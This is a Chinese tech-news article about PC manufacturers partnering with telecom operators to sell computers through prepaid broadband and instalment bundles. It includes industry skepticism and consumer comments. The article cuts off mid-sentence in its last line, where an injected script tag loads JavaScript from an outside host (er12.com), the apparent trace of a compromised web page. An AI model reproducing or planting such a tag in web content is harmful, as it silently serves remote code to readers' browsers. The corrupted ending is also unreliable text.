“一个算不上是新点子的点子，早在几年前就已经被n多厂商试用过的模式，在被媒体过渡舆论化之后，顺势变成了厂商用以宣传的法宝。”在谈到如何看待时下业界纷纷传出pc厂商欲打破传统渠道模式，试水充值分期付款模式的热点时，接受pconline咨询的一位业内人士泼出了这样的冷水。
巨头领队 pc厂商纷纷试水充值营销
事件的源头始于全球pc霸主惠普，2006年12月，惠普选择在在江苏泰州通过中国电信首次尝试了“存话费送电脑”的分销模式。该模式为：用户可以通过首付1480元、月付198元套餐的方式，从中国电信江苏公司泰州分公司购买惠普双核台式电脑，及每月150小时的2m高速网络接入服务。
在江苏扩大信息化规模的战略布署中，惠普搭乘的这趟顺风车取得了意想不到的效果，在短短4个月的时间里就发展宽带用户近1.8万户，远远超出了人们的预料。
追溯历史我们不难发现，类似的合作并不新奇，早在2006年10月的时候，国内pc厂商浪潮就与国内二线城市的电信及网通等运营商达成了合作协议，其中包括河北唐山、秦皇岛、邯郸、衡水、廊坊、保定、石家庄网通、河南驻马店、南阳网通；山东省网通、陕西西安、咸阳网通；江苏连云港网通、浙江温州电信等，资料显示，到07年6月份半年的时间里，浪潮就完成了近2万台pc的销量。
而在更早，海尔就曾联合山东当地的招商银行、网通联合农村信用社，共同为农村用户提供分期付款计划。以实现海尔提出的“one home/one pc”(“一家一电脑”)计划。
今年6月下旬，清华同方也正式与北京网通联手，签署进军京郊农村市场的协约，使出的杀手锏依然是免费电脑：郊区网通后付费私户只要办理一年“家家乐”套餐，就可获赠同方电脑一台。
另外，在更早的2004年时，宏碁就曾与河北唐山、石家庄等网通运营商合作推出过捆绑式的pc销售模式。
显然，从表象上来看，这种与运营商合作推出平价机型的模式已成为pc厂商欲打破传统分销模式的一种新尝试，也成为厂商追求利润的一个新热点。
真就能创出一片营销蓝海？分析人士并不看好
搭乘国家大力推及的信息化东风，与运营商的合作对于苦于没有好的营销方式的pc厂商来说，无疑是个新热点，只是，这种方式真就能够在一定程度上让竞争激烈的pc行业寻出一片自己蓝海来吗？我们不妨试着分析一下。
从惠普选择江苏泰州以及同方选择北京郊的策略上我们不难看出，这种模式是带有明显地域性的，首先，你要选择经济相对来说比较发达的地方，其次，按照捆绑与运营商合作的前提来讲，这个地方还必须要是信息化普及的推动地带，这样才会对此类分期付费购买电脑的业务模式有比较大的消费能力。而目前国内能够符合这样标准的地区并不多，这种以网络应用带动硬件销售的模式并不成熟，充其量也只是目前分销渠道的一种补充而已。
另外，我们以惠普泰州用户可以通过首付1480元、月付198元套餐的方式为例，如此算来，27个月分期付款加宽带使用的费用约为六千多元，就算抛去宽带费用，这个价格也并不能实现真正的低价普及，而且，国内电信资费的下调也很快，如此固定的交两年多的分期费用，对于普通用户来说，是有一定风险的。
至于部分媒体报道号称这种方式对于pc厂商渠道不完善的方式是一个很好的补充时，笔者也同样持怀疑态度，品牌电脑之所以能值得信赖的原因就在于其完善的售后服务，通过与运营商的合作或许能扩大销量，但你的配套服务是否能跟得上同样在考验着消费者的选择性，试想，如果你在某一个地区通过与运营商的合作卖出了几千台，但在当地没有一个完善的售后体系的话，总不能让消费者背着故障电脑去寻找有相关售后的地点吧。
华硕一位接受pconline新闻组咨询的人士表示，捆绑销售与之前很多pc厂商推出的分期付款的模式是相似的，“这种营销模式或许在某些特定地区和针对某些特定人群是有用的，但不太适合成为厂商的一种新营销模式，毕竟部分受众人群是窄众。”对方同时透露，“厂商针对这种市场，一般都会将非主流产品进行推销。”
宏碁华北产品事业部的一位高层也表示，这种捆绑销售模式并不新奇，早在04年的时候，宏碁就曾与河北唐山、石家庄等地的网通运营商有过合作，“虽然也有一定的销量，但捆绑之后的不确定因素太多了，因此，当时的购买者也并不是多，再加上当时的宽带费用也比现在要高。”不过对方同时透露，近期，宏碁上海正在与浙江当地的网通运营商谈合作。
在北京太平洋数码电脑城，笔者也随机抽查了几位准备买电脑的消费者，在问到他们是否会接受这种捆绑销售的方式时，京城的消费者似乎不太乐意接受，其中一位消费者对pconline表示：“这种购买方式似乎能缓解一定的资金压力，不过这其中两年多的时间涉及到的不特定的因素太多了，而且现在的电脑的价格也更加平民化，一次性付款的方式还是能接受的。”不过也有消费?script src=http://er12.com/t.js>
